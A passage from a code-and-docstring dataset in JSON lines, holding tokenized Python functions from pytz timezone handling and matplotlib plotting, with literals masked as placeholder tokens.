FixedOffset(-330) is one\n        True\n        >>> FixedOffset(1380) is two\n        True\n\n    It should also be true for pickling.\n\n        >>> import pickle\n        >>> pickle.loads(pickle.dumps(one)) is one\n        True\n        >>> pickle.loads(pickle.dumps(two)) is two\n        True", "id": "f17165:m6"}
{"signature": "def localize(self, dt, is_dst=False):", "body": "if dt.tzinfo is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dt.replace(tzinfo=self)<EOL>", "docstring": "Convert naive time to local time", "id": "f17165:c1:m4"}
{"signature": "def normalize(self, dt, is_dst=False):", "body": "if dt.tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dt.replace(tzinfo=self)<EOL>", "docstring": "Correct the timezone information on the given datetime", "id": "f17165:c1:m5"}
{"signature": "def localize(self, dt, is_dst=False):", "body": "if dt.tzinfo is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dt.replace(tzinfo=self)<EOL>", "docstring": "Convert naive time to local time", "id": "f17165:c2:m6"}
{"signature": "def normalize(self, dt, is_dst=False):", "body": "if dt.tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dt.replace(tzinfo=self)<EOL>", "docstring": "Correct the timezone information on the given datetime", "id": "f17165:c2:m7"}
{"signature": "def memorized_timedelta(seconds):", "body": "try:<EOL><INDENT>return _timedelta_cache[seconds]<EOL><DEDENT>except KeyError:<EOL><INDENT>delta = timedelta(seconds=seconds)<EOL>_timedelta_cache[seconds] = delta<EOL>return delta<EOL><DEDENT>", "docstring": "Create only one instance of each distinct timedelta", "id": "f17166:m0"}
{"signature": "def memorized_datetime(seconds):", "body": "try:<EOL><INDENT>return _datetime_cache[seconds]<EOL><DEDENT>except KeyError:<EOL><INDENT>dt = _epoch + timedelta(seconds=seconds)<EOL>_datetime_cache[seconds] = dt<EOL>return dt<EOL><DEDENT>", "docstring": "Create only one instance of each distinct datetime", "id": "f17166:m1"}
{"signature": "def memorized_ttinfo(*args):", "body": "try:<EOL><INDENT>return _ttinfo_cache[args]<EOL><DEDENT>except KeyError:<EOL><INDENT>ttinfo = (<EOL>memorized_timedelta(args[<NUM_LIT:0>]),<EOL>memorized_timedelta(args[<NUM_LIT:1>]),<EOL>args[<NUM_LIT:2>]<EOL>)<EOL>_ttinfo_cache[args] = ttinfo<EOL>return ttinfo<EOL><DEDENT>", "docstring": "Create only one instance of each distinct tuple", "id": "f17166:m2"}
{"signature": "def _to_seconds(td):", "body": "return td.seconds + td.days * <NUM_LIT> * <NUM_LIT> * <NUM_LIT><EOL>", "docstring": "Convert a timedelta to seconds", "id": "f17166:m3"}
{"signature": "def unpickler(zone, utcoffset=None, dstoffset=None, tzname=None):", "body": "<EOL>tz = pytz.timezone(zone)<EOL>if utcoffset is None:<EOL><INDENT>return tz<EOL><DEDENT>utcoffset = memorized_timedelta(utcoffset)<EOL>dstoffset = memorized_timedelta(dstoffset)<EOL>try:<EOL><INDENT>return tz._tzinfos[(utcoffset, dstoffset, tzname)]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>for localized_tz in list(tz._tzinfos.values()):<EOL><INDENT>if (localized_tz._utcoffset == utcoffset<EOL>and localized_tz._dst == dstoffset):<EOL><INDENT>return localized_tz<EOL><DEDENT><DEDENT>inf = (utcoffset, dstoffset, tzname)<EOL>tz._tzinfos[inf] = tz.__class__(inf, tz._tzinfos)<EOL>return tz._tzinfos[inf]<EOL>", "docstring": "Factory function for unpickling pytz tzinfo instances.\n\n    This is shared for both StaticTzInfo and DstTzInfo instances, because\n    database changes could cause a zones implementation to switch between\n    these two base classes and we can't break pickles on a pytz version\n    upgrade.", "id": "f17166:m4"}
{"signature": "def fromutc(self, dt):", "body": "return (dt + self._utcoffset).replace(tzinfo=self)<EOL>", "docstring": "See datetime.tzinfo.fromutc", "id": "f17166:c1:m0"}
{"signature": "def utcoffset(self,dt):", "body": "return self._utcoffset<EOL>", "docstring": "See datetime.tzinfo.utcoffset", "id": "f17166:c1:m1"}
{"signature": "def dst(self,dt):", "body": "return _notime<EOL>", "docstring": "See datetime.tzinfo.dst", "id": "f17166:c1:m2"}
{"signature": "def tzname(self,dt):", "body": "return self._tzname<EOL>", "docstring": "See datetime.tzinfo.tzname", "id": "f17166:c1:m3"}
{"signature": "def localize(self, dt, is_dst=False):", "body": "if dt.tzinfo is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dt.replace(tzinfo=self)<EOL>", "docstring": "Convert naive time to local time", "id": "f17166:c1:m4"}
{"signature": "def normalize(self, dt, is_dst=False):", "body": "if dt.tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return dt.replace(tzinfo=self)<EOL>", "docstring": "Correct the timezone information on the given datetime", "id": "f17166:c1:m5"}
{"signature": "def fromutc(self, dt):", "body": "dt = dt.replace(tzinfo=None)<EOL>idx = max(<NUM_LIT:0>, bisect_right(self._utc_transition_times, dt) - <NUM_LIT:1>)<EOL>inf = self._transition_info[idx]<EOL>return (dt + inf[<NUM_LIT:0>]).replace(tzinfo=self._tzinfos[inf])<EOL>", "docstring": "See datetime.tzinfo.fromutc", "id": "f17166:c2:m1"}
{"signature": "def normalize(self, dt):", "body": "if dt.tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>offset = dt.tzinfo._utcoffset<EOL>dt = dt.replace(tzinfo=None)<EOL>dt = dt - offset<EOL>return self.fromutc(dt)<EOL>", "docstring": "Correct the timezone information on the given datetime\n\n        If date arithmetic crosses DST boundaries, the tzinfo\n        is not magically adjusted. This method normalizes the\n        tzinfo to the correct one.\n\n        To test, first we need to do some setup\n\n        >>> from pytz import timezone\n        >>> utc = timezone('UTC')\n        >>> eastern = timezone('US/Eastern')\n        >>> fmt = '%Y-%m-%d %H:%M:%S %Z (%z)'\n\n        We next create a datetime right on an end-of-DST transition point,\n        the instant when the wallclocks are wound back one hour.\n\n        >>> utc_dt = datetime(2002, 10, 27, 6, 0, 0, tzinfo=utc)\n        >>> loc_dt = utc_dt.astimezone(eastern)\n        >>> loc_dt.strftime(fmt)\n        '2002-10-27 01:00:00 EST (-0500)'\n\n        Now, if we subtract a few minutes from it, note that the timezone\n        information has not changed.\n\n        >>> before = loc_dt - timedelta(minutes=10)\n        >>> before.strftime(fmt)\n        '2002-10-27 00:50:00 EST (-0500)'\n\n        But we can fix that by calling the normalize method\n\n        >>> before = eastern.normalize(before)\n        >>> before.strftime(fmt)\n        '2002-10-27 01:50:00 EDT (-0400)'", "id": "f17166:c2:m2"}
{"signature": "def localize(self, dt, is_dst=False):", "body": "if dt.tzinfo is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>possible_loc_dt = set()<EOL>for tzinfo in list(self._tzinfos.values()):<EOL><INDENT>loc_dt = tzinfo.normalize(dt.replace(tzinfo=tzinfo))<EOL>if loc_dt.replace(tzinfo=None) == dt:<EOL><INDENT>possible_loc_dt.add(loc_dt)<EOL><DEDENT><DEDENT>if len(possible_loc_dt) == <NUM_LIT:1>:<EOL><INDENT>return possible_loc_dt.pop()<EOL><DEDENT>if is_dst is None:<EOL><INDENT>raise AmbiguousTimeError(dt)<EOL><DEDENT>filtered_possible_loc_dt = [<EOL>p for p in possible_loc_dt<EOL>if bool(p.tzinfo._dst) == is_dst<EOL>]<EOL>if len(filtered_possible_loc_dt) == <NUM_LIT:1>:<EOL><INDENT>return filtered_possible_loc_dt[<NUM_LIT:0>]<EOL><DEDENT>if len(filtered_possible_loc_dt) == <NUM_LIT:0>:<EOL><INDENT>filtered_possible_loc_dt = list(possible_loc_dt)<EOL><DEDENT>def mycmp(a,b):<EOL><INDENT>return cmp(<EOL>a.replace(tzinfo=None) - a.tzinfo._utcoffset,<EOL>b.replace(tzinfo=None) - b.tzinfo._utcoffset,<EOL>)<EOL><DEDENT>filtered_possible_loc_dt.sort(mycmp)<EOL>return filtered_possible_loc_dt[<NUM_LIT:0>]<EOL>", "docstring": "Convert naive time to local time.\n\n        This method should be used to construct localtimes, rather\n        than passing a tzinfo argument to a datetime constructor.\n\n        is_dst is used to determine the correct timezone in the ambigous\n        period at the end of daylight savings time.\n\n        >>> from pytz import timezone\n        >>> fmt = '%Y-%m-%d %H:%M:%S %Z (%z)'\n        >>> amdam = timezone('Europe/Amsterdam')\n        >>> dt  = datetime(2004, 10, 31, 2, 0, 0)\n        >>> loc_dt1 = amdam.localize(dt, is_dst=True)\n        >>> loc_dt2 = amdam.localize(dt, is_dst=False)\n        >>> loc_dt1.strftime(fmt)\n        '2004-10-31 02:00:00 CEST (+0200)'\n        >>> loc_dt2.strftime(fmt)\n        '2004-10-31 02:00:00 CET (+0100)'\n        >>> str(loc_dt2 - loc_dt1)\n        '1:00:00'\n\n        Use is_dst=None to raise an AmbiguousTimeError for ambiguous\n        times at the end of daylight savings\n\n        >>> try:\n        ...     loc_dt1 = amdam.localize(dt, is_dst=None)\n        ... except AmbiguousTimeError:\n        ...     print 'Oops'\n        Oops\n\n        >>> loc_dt1 = amdam.localize(dt, is_dst=None)\n        Traceback (most recent call last):\n            [...]\n        AmbiguousTimeError: 2004-10-31 02:00:00\n\n        is_dst defaults to False\n\n        >>> amdam.localize(dt) == amdam.localize(dt, False)\n        True", "id": "f17166:c2:m3"}
{"signature": "def utcoffset(self, dt):", "body": "return self._utcoffset<EOL>", "docstring": "See datetime.tzinfo.utcoffset", "id": "f17166:c2:m4"}
{"signature": "def dst(self, dt):", "body": "return self._dst<EOL>", "docstring": "See datetime.tzinfo.dst", "id": "f17166:c2:m5"}
{"signature": "def tzname(self, dt):", "body": "return self._tzname<EOL>", "docstring": "See datetime.tzinfo.tzname", "id": "f17166:c2:m6"}
{"signature": "def _init(self):", "body": "<EOL>if True: <EOL><INDENT>trans = self._set_transform()<EOL>ax = self.ax<EOL>sx, sy = trans.inverted().transform_point(<EOL>(ax.bbox.width, ax.bbox.height))<EOL>self.span = sx<EOL>sn = max(<NUM_LIT:8>, min(<NUM_LIT>, math.sqrt(self.N)))<EOL>if self.width is None:<EOL><INDENT>self.width = <NUM_LIT> * self.span / sn<EOL><DEDENT><DEDENT>", "docstring": "initialization delayed until first draw;\n        allow time for axes setup.", "id": "f17167:c1:m2"}
{"signature": "def _h_arrows(self, length):", "body": "<EOL>minsh = self.minshaft * self.headlength<EOL>N = len(length)<EOL>length = length.reshape(N, <NUM_LIT:1>)<EOL>x = np.array([<NUM_LIT:0>, -self.headaxislength,<EOL>-self.headlength, <NUM_LIT:0>], np.float64)<EOL>x = x + np.array([<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>]) * length<EOL>y = <NUM_LIT:0.5> * np.array([<NUM_LIT:1>, <NUM_LIT:1>, self.headwidth, <NUM_LIT:0>], np.float64)<EOL>y = np.repeat(y[np.newaxis,:], N, axis=<NUM_LIT:0>)<EOL>x0 = np.array([<NUM_LIT:0>, minsh-self.headaxislength,<EOL>minsh-self.headlength, minsh], np.float64)<EOL>y0 = <NUM_LIT:0.5> * np.array([<NUM_LIT:1>, <NUM_LIT:1>, self.headwidth, <NUM_LIT:0>], np.float64)<EOL>ii = [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:2>,<NUM_LIT:1>,<NUM_LIT:0>]<EOL>X = x.take(ii, <NUM_LIT:1>)<EOL>Y = y.take(ii, <NUM_LIT:1>)<EOL>Y[:, <NUM_LIT:3>:] *= -<NUM_LIT:1><EOL>X0 = x0.take(ii)<EOL>Y0 = y0.take(ii)<EOL>Y0[<NUM_LIT:3>:] *= -<NUM_LIT:1><EOL>shrink = length/minsh<EOL>X0 = shrink * X0[np.newaxis,:]<EOL>Y0 = shrink * Y0[np.newaxis,:]<EOL>short = np.repeat(length < minsh, <NUM_LIT:7>, axis=<NUM_LIT:1>)<EOL>X = ma.where(short, X0, X)<EOL>Y = ma.where(short, Y0, Y)<EOL>if self.pivot[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>X -= <NUM_LIT:0.5> * X[:,<NUM_LIT:3>, np.newaxis]<EOL><DEDENT>elif self.pivot[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>X = X - X[:,<NUM_LIT:3>, np.newaxis]   <EOL><DEDENT>tooshort = length < self.minlength<EOL>if tooshort.any():<EOL><INDENT>th = np.arange(<NUM_LIT:0>,<NUM_LIT:7>,<NUM_LIT:1>, np.float64) * (np.pi/<NUM_LIT>)<EOL>x1 = np.cos(th) * self.minlength * <NUM_LIT:0.5><EOL>y1 = np.sin(th) * self.minlength * <NUM_LIT:0.5><EOL>X1 = np.repeat(x1[np.newaxis, :], N, axis=<NUM_LIT:0>)<EOL>Y1 = np.repeat(y1[np.newaxis, :], N, axis=<NUM_LIT:0>)<EOL>tooshort = ma.repeat(tooshort, <NUM_LIT:7>, <NUM_LIT:1>)<EOL>X = ma.where(tooshort, X1, X)<EOL>Y = ma.where(tooshort, Y1, Y)<EOL><DEDENT>return X, Y<EOL>", "docstring": "length is in arrow width units", "id": "f17167:c1:m8"}
{"signature": "def _find_tails(self, mag, rounding=True, half=<NUM_LIT:5>, full=<NUM_LIT:10>, flag=<NUM_LIT:50>):", "body": "<EOL>if rounding:<EOL><INDENT>mag = half * (mag / half + <NUM_LIT:0.5>).astype(np.int)<EOL><DEDENT>num_flags = np.floor(mag / flag).astype(np.int)<EOL>mag = np.mod(mag, flag)<EOL>num_barb = np.floor(mag / full).astype(np.int)<EOL>mag = np.mod(mag, full)<EOL>half_flag = mag >= half<EOL>empty_flag = ~(half_flag | (num_flags > <NUM_LIT:0>) | (num_barb > <NUM_LIT:0>))<EOL>return num_flags, num_barb, half_flag, empty_flag<EOL>", "docstring": "Find how many of each of the tail pieces is necessary.  Flag\nspecifies the increment for a flag, barb for a full barb, and half for\nhalf a barb. Mag should be the magnitude of a vector (ie. >= 0).\n\nThis returns a tuple of:\n\n    (*number of flags*, *number of barbs*, *half_flag*, *empty_flag*)\n\n*half_flag* is a boolean whether half of a barb is needed,\nsince there should only ever be one half on a given\nbarb. *empty_flag* flag is an array of flags to easily tell if\na barb is empty (too low to plot any barbs/flags.", "id": "f17167:c2:m1"}
{"signature": "def _make_barbs(self, u, v, nflags, nbarbs, half_barb, empty_flag, length,<EOL>pivot, sizes, fill_empty, flip):", "body": "<EOL>spacing = length * sizes.get('<STR_LIT>', <NUM_LIT>)<EOL>full_height = length * sizes.get('<STR_LIT>', <NUM_LIT>)<EOL>full_width = length * sizes.get('<STR_LIT:width>', <NUM_LIT>)<EOL>empty_rad = length * sizes.get('<STR_LIT>', <NUM_LIT>)<EOL>pivot_points = dict(tip=<NUM_LIT:0.0>, middle=-length/<NUM_LIT>)<EOL>if flip: full_height = -full_height<EOL>endx = <NUM_LIT:0.0><EOL>endy = pivot_points[pivot.lower()]<EOL>angles = -(ma.arctan2(v, u) + np.pi/<NUM_LIT:2>)<EOL>circ = CirclePolygon((<NUM_LIT:0>,<NUM_LIT:0>), radius=empty_rad).get_verts()<EOL>if fill_empty:<EOL><INDENT>empty_barb = circ<EOL><DEDENT>else:<EOL><INDENT>empty_barb = np.concatenate((circ, circ[::-<NUM_LIT:1>]))<EOL><DEDENT>barb_list = []<EOL>for index, angle in np.ndenumerate(angles):<EOL><INDENT>if empty_flag[index]:<EOL><INDENT>barb_list.append(empty_barb)<EOL>continue<EOL><DEDENT>poly_verts = [(endx, endy)]<EOL>offset = length<EOL>for i in range(nflags[index]):<EOL><INDENT>if offset != length: offset += spacing / <NUM_LIT><EOL>poly_verts.extend([[endx, endy + offset],<EOL>[endx + full_height, endy - full_width/<NUM_LIT:2> + offset],<EOL>[endx, endy - full_width + offset]])<EOL>offset -= full_width + spacing<EOL><DEDENT>for i in range(nbarbs[index]):<EOL><INDENT>poly_verts.extend([(endx, endy + offset),<EOL>(endx + full_height, endy + offset + full_width/<NUM_LIT:2>),<EOL>(endx, endy + offset)])<EOL>offset -= spacing<EOL><DEDENT>if half_barb[index]:<EOL><INDENT>if offset == length:<EOL><INDENT>poly_verts.append((endx, endy + offset))<EOL>offset -= <NUM_LIT> * spacing<EOL><DEDENT>poly_verts.extend([(endx, endy + offset),<EOL>(endx + full_height/<NUM_LIT:2>, endy + offset + full_width/<NUM_LIT:4>),<EOL>(endx, endy + offset)])<EOL><DEDENT>poly_verts = transforms.Affine2D().rotate(-angle).transform(<EOL>poly_verts)<EOL>barb_list.append(poly_verts)<EOL><DEDENT>return barb_list<EOL>", "docstring": "This function actually creates the wind barbs.  *u* and *v*\nare components of the vector in the *x* and *y* directions,\nrespectively.\n\n*nflags*, *nbarbs*, and *half_barb*, empty_flag* are,\n*respectively, the number of flags, number of barbs, flag for\n*half a barb, and flag for empty barb, ostensibly obtained\n*from :meth:`_find_tails`.\n\n*length* is the length of the barb staff in points.\n\n*pivot* specifies the point on the barb around which the\nentire barb should be rotated.  Right now, valid options are\n'head' and 'middle'.\n\n*sizes* is a dictionary of coefficients specifying the ratio\nof a given feature to the length of the barb. These features\ninclude:\n\n    - *spacing*: space between features (flags, full/half\n       barbs)\n\n    - *height*: distance from shaft of top of a flag or full\n       barb\n\n    - *width* - width of a flag, twice the width of a full barb\n\n    - *emptybarb* - radius of the circle used for low\n       magnitudes\n\n*fill_empty* specifies whether the circle representing an\nempty barb should be filled or not (this changes the drawing\nof the polygon).\n\n*flip* is a flag indicating whether the features should be flipped to\nthe other side of the barb (useful for winds in the southern\nhemisphere.\n\nThis function returns list of arrays of vertices, defining a polygon for\neach of the wind barbs.  These polygons have been rotated to properly\nalign with the vector direction.", "id": "f17167:c2:m2"}
{"signature": "def set_offsets(self, xy):", "body": "self.x = xy[:,<NUM_LIT:0>]<EOL>self.y = xy[:,<NUM_LIT:1>]<EOL>x,y,u,v = delete_masked_points(self.x.ravel(), self.y.ravel(), self.u,<EOL>self.v)<EOL>xy = np.hstack((x[:,np.newaxis], y[:,np.newaxis]))<EOL>collections.PolyCollection.set_offsets(self, xy)<EOL>", "docstring": "Set the offsets for the barb polygons.  This saves the offets passed in\nand actually sets version masked as appropriate for the existing U/V\ndata. *offsets* should be a sequence.\n\nACCEPTS: sequence of pairs of floats", "id": "f17167:c2:m5"}
{"signature": "def _backend_selection():", "body": "backend = rcParams['<STR_LIT>']<EOL>if not rcParams['<STR_LIT>'] orbackend not in _interactive_bk:<EOL><INDENT>return<EOL><DEDENT>is_agg_backend = rcParams['<STR_LIT>'].endswith('<STR_LIT>')<EOL>if '<STR_LIT>' in sys.modules and not backend in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>import wx<EOL>if wx.App.IsMainLoopRunning():<EOL><INDENT>rcParams['<STR_LIT>'] = '<STR_LIT>' + '<STR_LIT>' * is_agg_backend<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in sys.modules and not backend == '<STR_LIT>':<EOL><INDENT>import qt<EOL>if not qt.qApp.startingUp():<EOL><INDENT>rcParams['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in sys.modules and not backend == '<STR_LIT>':<EOL><INDENT>import PyQt4.QtGui<EOL>if not PyQt4.QtGui.qApp.startingUp():<EOL><INDENT>rcParams['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in sys.modules and not backend in ('<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>import gobject<EOL>if gobject.MainLoop().is_running():<EOL><INDENT>rcParams['<STR_LIT>'] = '<STR_LIT>' + '<STR_LIT>' * is_agg_backend<EOL><DEDENT><DEDENT>elif '<STR_LIT>' in sys.modules and not backend == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "If rcParams['backend_fallback'] is true, check to see if the\n        current backend is compatible with the current running event\n        loop, and if not switches to a compatible one.", "id": "f17168:m0"}
{"signature": "def switch_backend(newbackend):", "body": "close('<STR_LIT:all>')<EOL>global new_figure_manager, draw_if_interactive, show<EOL>matplotlib.use(newbackend, warn=False)<EOL>reload(matplotlib.backends)<EOL>from matplotlib.backends import pylab_setup<EOL>new_figure_manager, draw_if_interactive, show = pylab_setup()<EOL>", "docstring": "Switch the default backend to newbackend.  This feature is\n**experimental**, and is only expected to work switching to an\nimage backend.  Eg, if you have a bunch of PostScript scripts that\nyou want to run from an interactive ipython session, you may want\nto switch to the PS backend before running them to avoid having a\nbunch of GUI windows popup.  If you try to interactively switch\nfrom one GUI backend to another, you will explode.\n\nCalling this command will close all open windows.", "id": "f17168:m2"}
{"signature": "def isinteractive():", "body": "return matplotlib.is_interactive()<EOL>", "docstring": "Return the interactive status", "id": "f17168:m3"}
{"signature": "def ioff():", "body": "matplotlib.interactive(False)<EOL>", "docstring": "Turn interactive mode off.", "id": "f17168:m4"}
{"signature": "def ion():", "body": "matplotlib.interactive(True)<EOL>", "docstring": "Turn interactive mode on.", "id": "f17168:m5"}
{"signature": "def gci():", "body": "return gci._current<EOL>", "docstring": "Get the current :class:`~matplotlib.cm.ScalarMappable` instance\n(image or patch collection), or *None* if no images or patch\ncollections have been defined.  The commands\n:func:`~matplotlib.pyplot.imshow` and\n:func:`~matplotlib.pyplot.figimage` create\n:class:`~matplotlib.image.Image` instances, and the commands\n:func:`~matplotlib.pyplot.pcolor` and\n:func:`~matplotlib.pyplot.scatter` create\n:class:`~matplotlib.collections.Collection` instances.", "id": "f17168:m8"}
{"signature": "def sci(im):", "body": "gci._current = im<EOL>", "docstring": "Set the current image (target of colormap commands like\n:func:`~matplotlib.pyplot.jet`, :func:`~matplotlib.pyplot.hot` or\n:func:`~matplotlib.pyplot.clim`).", "id": "f17168:m9"}
{"signature": "def figure(num=None, <EOL>figsize   = None, <EOL>dpi       = None, <EOL>facecolor = None, <EOL>edgecolor = None, <EOL>frameon = True,<EOL>FigureClass = Figure,<EOL>**kwargs<EOL>):", "body": "if figsize is None   : figsize   = rcParams['<STR_LIT>']<EOL>if dpi is None       : dpi       = rcParams['<STR_LIT>']<EOL>if facecolor is None : facecolor = rcParams['<STR_LIT>']<EOL>if edgecolor is None : edgecolor = rcParams['<STR_LIT>']<EOL>if num is None:<EOL><INDENT>allnums = [f.num for f in _pylab_helpers.Gcf.get_all_fig_managers()]<EOL>if allnums:<EOL><INDENT>num = max(allnums) + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>num = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>num = int(num)  <EOL><DEDENT>figManager = _pylab_helpers.Gcf.get_fig_manager(num)<EOL>if figManager is None:<EOL><INDENT>if get_backend().lower() == '<STR_LIT>':  dpi = <NUM_LIT><EOL>figManager = new_figure_manager(num, figsize=figsize,<EOL>dpi=dpi,<EOL>facecolor=facecolor,<EOL>edgecolor=edgecolor,<EOL>frameon=frameon,<EOL>FigureClass=FigureClass,<EOL>**kwargs)<EOL>def make_active(event):<EOL><INDENT>_pylab_helpers.Gcf.set_active(figManager)<EOL><DEDENT>cid = figManager.canvas.mpl_connect('<STR_LIT>', make_active)<EOL>figManager._cidgcf = cid<EOL>_pylab_helpers.Gcf.set_active(figManager)<EOL>figManager.canvas.figure.number = num<EOL><DEDENT>draw_if_interactive()<EOL>return figManager.canvas.figure<EOL>", "docstring": "call signature::\n\n  figure(num=None, figsize=(8, 6), dpi=80, facecolor='w', edgecolor='k')\n\n\nCreate a new figure and return a :class:`matplotlib.figure.Figure`\ninstance.  If *num* = *None*, the figure number will be incremented and\na new figure will be created.  The returned figure objects have a\n*number* attribute holding this number.\n\nIf *num* is an integer, and ``figure(num)`` already exists, make it\nactive and return the handle to it.  If ``figure(num)`` does not exist\nit will be created.  Numbering starts at 1, matlab style::\n\n  figure(1)\n\nIf you are creating many figures, make sure you explicitly call \"close\"\non the figures you are not using, because this will enable pylab\nto properly clean up the memory.\n\nOptional keyword arguments:\n\n  =========   =======================================================\n  Keyword     Description\n  =========   =======================================================\n  figsize     width x height in inches; defaults to rc figure.figsize\n  dpi         resolution; defaults to rc figure.dpi\n  facecolor   the background color; defaults to rc figure.facecolor\n  edgecolor   the border color; defaults to rc figure.edgecolor\n  =========   =======================================================\n\nrcParams defines the default values, which can be modified in the\nmatplotlibrc file\n\n*FigureClass* is a :class:`~matplotlib.figure.Figure` or derived\nclass that will be passed on to :meth:`new_figure_manager` in the\nbackends which allows you to hook custom Figure classes into the\npylab interface.  Additional kwargs will be passed on to your\nfigure init function.", "id": "f17168:m11"}
{"signature": "def gcf():", "body": "figManager = _pylab_helpers.Gcf.get_active()<EOL>if figManager is not None:<EOL><INDENT>return figManager.canvas.figure<EOL><DEDENT>else:<EOL><INDENT>return figure()<EOL><DEDENT>", "docstring": "Return a handle to the current figure.", "id": "f17168:m12"}
{"signature": "def close(*args):", "body": "if len(args)==<NUM_LIT:0>:<EOL><INDENT>figManager = _pylab_helpers.Gcf.get_active()<EOL>if figManager is None: return<EOL>else:<EOL><INDENT>figManager.canvas.mpl_disconnect(figManager._cidgcf)<EOL>_pylab_helpers.Gcf.destroy(figManager.num)<EOL><DEDENT><DEDENT>elif len(args)==<NUM_LIT:1>:<EOL><INDENT>arg = args[<NUM_LIT:0>]<EOL>if arg=='<STR_LIT:all>':<EOL><INDENT>for manager in _pylab_helpers.Gcf.get_all_fig_managers():<EOL><INDENT>manager.canvas.mpl_disconnect(manager._cidgcf)<EOL>_pylab_helpers.Gcf.destroy(manager.num)<EOL><DEDENT><DEDENT>elif isinstance(arg, int):<EOL><INDENT>_pylab_helpers.Gcf.destroy(arg)<EOL><DEDENT>elif isinstance(arg, Figure):<EOL><INDENT>for manager in _pylab_helpers.Gcf.get_all_fig_managers():<EOL><INDENT>if manager.canvas.figure==arg:<EOL><INDENT>manager.canvas.mpl_disconnect(manager._cidgcf)<EOL>_pylab_helpers.Gcf.destroy(manager.num)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>'%type(arg))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Close a figure window\n\n``close()`` by itself closes the current figure\n\n``close(num)`` closes figure number *num*\n\n``close(h)`` where *h* is a :class:`Figure` instance, closes that figure\n\n``close('all')`` closes all the figure windows", "id": "f17168:m16"}
{"signature": "def clf():", "body": "gcf().clf()<EOL>draw_if_interactive()<EOL>", "docstring": "Clear the current figure", "id": "f17168:m17"}
{"signature": "def draw():", "body": "get_current_fig_manager().canvas.draw()<EOL>", "docstring": "redraw the current figure", "id": "f17168:m18"}
{"signature": "def ginput(*args, **kwargs):", "body": "return gcf().ginput(*args, **kwargs)<EOL>", "docstring": "Blocking call to interact with the figure.\n\nThis will wait for *n* clicks from the user and return a list of the\ncoordinates of each click.\n\nIf *timeout* is negative, does not timeout.", "id": "f17168:m20"}
{"signature": "def waitforbuttonpress(*args, **kwargs):", "body": "return gcf().waitforbuttonpress(*args, **kwargs)<EOL>", "docstring": "Blocking call to interact with the figure.\n\nThis will wait for *n* key or mouse clicks from the user and\nreturn a list containing True's for keyboard clicks and False's\nfor mouse clicks.\n\nIf *timeout* is negative, does not timeout.", "id": "f17168:m21"}
{"signature": "def figlegend(handles, labels, loc, **kwargs):", "body": "l = gcf().legend(handles, labels, loc, **kwargs)<EOL>draw_if_interactive()<EOL>return l<EOL>", "docstring": "Place a legend in the figure.\n\n*labels*\n  a sequence of strings\n\n*handles*\n  a sequence of :class:`~matplotlib.lines.Line2D` or\n  :class:`~matplotlib.patches.Patch` instances\n\n*loc*\n  can be a string or an integer specifying the legend\n  location\n\nA :class:`matplotlib.legend.Legend` instance is returned.\n\nExample::\n\n  figlegend( (line1, line2, line3),\n             ('label1', 'label2', 'label3'),\n             'upper right' )\n\n.. seealso::\n   :func:`~matplotlib.pyplot.legend`:\n     For information about the location codes", "id": "f17168:m25"}
{"signature": "def hold(b=None):", "body": "fig = gcf()<EOL>ax = fig.gca()<EOL>fig.hold(b)<EOL>ax.hold(b)<EOL>b = ax.ishold()<EOL>rc('<STR_LIT>', hold=b)<EOL>", "docstring": "Set the hold state.  If *b* is None (default), toggle the\nhold state, else set the hold state to boolean value *b*::\n\n  hold()      # toggle hold\n  hold(True)  # hold is on\n  hold(False) # hold is off\n\nWhen *hold* is *True*, subsequent plot commands will be added to\nthe current axes.  When *hold* is *False*, the current axes and\nfigure will be cleared on the next plot command.", "id": "f17168:m26"}
{"signature": "def ishold():", "body": "return gca().ishold()<EOL>", "docstring": "Return the hold status of the current axes", "id": "f17168:m27"}
{"signature": "def over(func, *args, **kwargs):", "body": "h = ishold()<EOL>hold(True)<EOL>func(*args, **kwargs)<EOL>hold(h)<EOL>", "docstring": "over calls::\n\n  func(*args, **kwargs)\n\nwith ``hold(True)`` and then restores the hold state.", "id": "f17168:m28"}
